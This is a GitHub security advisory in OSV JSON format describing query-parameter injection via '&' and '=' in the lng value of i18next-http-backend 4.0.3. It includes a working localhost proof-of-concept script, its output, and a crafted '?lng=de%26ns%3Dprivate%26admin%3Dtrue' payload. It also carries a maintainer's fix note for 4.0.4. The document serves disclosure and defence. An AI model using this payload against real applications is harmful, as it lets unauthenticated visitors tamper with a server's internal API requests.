{"id":"GHSA-3cmx-xjww-583x","summary":"i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string","details":"### Summary\n\nThe URL-segment check added for GHSA-q89c-q3h5-w34g blocks `?`, `#`, `%`, `:`, `/` and `@` in `lng`, but not `&` or `=`, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form `/locales/resources.json?lng=de+en&ns=ns1+ns2`. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from `?lng=`, a cookie or `Accept-Language`. This is the \"query-string injection\" impact described in GHSA-q89c; only the `?` form was closed.\n\nServer side (Express + i18next-http-middleware, default options), `GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue` makes the application request `…?lng=de&ns=private&admin=true&ns=common` from its own translations API.\n\n### Details\n\nThe checks are in `lib/utils.js`. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:\n\n- empty or \u003e128-character values and prototype keys;\n- `..` and `\\`;\n- `/[?#%:\\s]/`;\n- control characters.\n\n`isSafeLangUrlSegment` (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only `/` and `@`. **Neither function rejects `&` or `=`.**\n\n```js\nif (/[?#%:\\s]/.test(v)) return false   // utils.js L40, no & or =\n```\n\n`interpolateUrl` then splits on `+`, checks each segment, and joins the **raw** segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).\n\nCall sites:\n\n- `_readAny` builds the load URL with `interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64\n- `create` builds the missing-key URL with `interpolateUrl(addPath, { lng, ns })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133\n\nThe README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read `?lng=`, cookies, `localStorage` and request headers. i18next-http-middleware's `LanguageDetector` does the same on the server.\n\nWhere `?` is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, `&` and `=` are the separators, so they must be rejected or encoded too.\n\n**Suggested fix.** Reject `&` and `=` (and `;`) in both `lng` and `ns`; no BCP-47 language code or usable i18next namespace contains them. Alternatively, `encodeURIComponent` each `+`-joined segment when the placeholder appears after `?` in the template.\n\n### Proof of concept\n\nHow to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):\n\n1. `mkdir i18next-poc && cd i18next-poc`\n2. `npm init -y`\n3. `npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0`\n4. Save the script below as `poc.mjs`\n5. `node poc.mjs`\n\n```js\n// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts\n// {{lng}} in the query string (README multiload shape) gets extra parameters.\n// Everything runs on 127.0.0.1: a fake translations API and an Express app.\nimport http from 'node:http'\nimport express from 'express'\nimport i18next from 'i18next'\nimport Backend from 'i18next-http-backend'\nimport middleware from 'i18next-http-middleware'\n\nconst seen = []\nconst api = http.createServer((req, res) =\u003e {\n  seen.push(req.url)\n  res.setHeader('content-type', 'application/json')\n  res.end('{\"hello\":\"hi\"}')\n})\nawait new Promise((r) =\u003e api.listen(0, '127.0.0.1', r))\nconst loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`\nconst wait = () =\u003e new Promise((r) =\u003e setTimeout(r, 200))\n\n// 1) Direct: lng values passed to i18next as-is.\nconsole.log('[1] direct init')\nfor (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {\n  seen.length = 0\n  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })\n  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -\u003e API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)\n}\n\n// 2) Server side: language taken from the request by i18next-http-middleware (default options).\nconsole.log('[2] Express + i18next-http-middleware LanguageDetector')\nconst i18n = i18next.createInstance()\nawait i18n.use(Backend).use(middleware.LanguageDetector)\n  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })\nconst app = express()\napp.use(middleware.handle(i18n))\napp.get('/', (req, res) =\u003e res.send(req.t('hello')))\nconst web = app.listen(0, '127.0.0.1')\nawait new Promise((r) =\u003e web.on('listening', r))\nawait wait()\nfor (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {\n  seen.length = 0\n  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) =\u003e r.text())\n  await wait()\n  console.log(`    GET /?lng=${q.padEnd(32)} -\u003e API got: ${seen.join(' ')}`)\n}\nweb.close()\napi.close()\n```\n\nOutput (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):\n\n```\n[1] direct init\n    lng=\"de\"                         -\u003e API got: /locales/resources.json?lng=de&ns=common\n    lng=\"de?admin=true\"              -\u003e API got: (no request, refused)\n    lng=\"de&ns=private&admin=true\"   -\u003e API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common\n[2] Express + i18next-http-middleware LanguageDetector\n    GET /?lng=de                               -\u003e API got: /locales/resources.json?lng=de&ns=common\n    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -\u003e API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common\n```\n\nThe `?` control is refused by the existing fix. The `&` form passes and reaches the API with injected `ns=private&admin=true`.\n\n### Impact\n\nThis is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:\n\n- **Server side** (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (`ns`, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.\n- **Browser side**: a crafted link (`?lng=…`) does the same to the victim's same-origin request.\n\nApplications using the default path template `/locales/{{lng}}/{{ns}}.json`, or a `supportedLngs` allowlist, are not affected.\n\ncredit to Adrian Korwel.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).\n\n**Preconditions.** The `loadPath` / `addPath` template must put `{{lng}}` or `{{ns}}` in the query string (for example `/locales/resources.json?lng={{lng}}&ns={{ns}}`, the multiload shape), and the attacker must control the language or namespace value. The default `/locales/{{lng}}/{{ns}}.json` and other path-only templates are not affected, nor are applications that restrict languages with `supportedLngs`. The impact depends on what the translations API does with the injected parameters.\n\n**Fix.** `&`, `=` and `;` are now rejected in both `lng` and `ns` values, in addition to the `?`, `#`, `%` and `:` rejected before. No language code or usable namespace name contains them. `+`-joined multiload values such as `de+en` keep working, verified end to end with i18next-multiload-backend-adapter.\n\n**Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `\u003c 4.0.4`.\n\n**Related.** i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.","aliases":["CVE-2026-118258"],"modified":"2026-10-28T21:30:03.892370163Z","published":"2026-10-28T21:10:08Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-74"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:10:08Z"},"references":[{"type":"WEB","url":"https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-3cmx-xjww-583x"},{"type":"WEB","url":"https://github.com/i18next/i18next-http-backend/commit/b0eef9efd425055c554787cef7f878de33bbf510"},{"type":"PACKAGE","url":"https://github.com/i18next/i18next-http-backend"},{"type":"WEB","url":"https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.4"}],"affected":[{"package":{"name":"i18next-http-backend","ecosystem":"npm","purl":"pkg:npm/i18next-http-backend"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3cmx-xjww-583x/GHSA-3cmx-xjww-583x.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}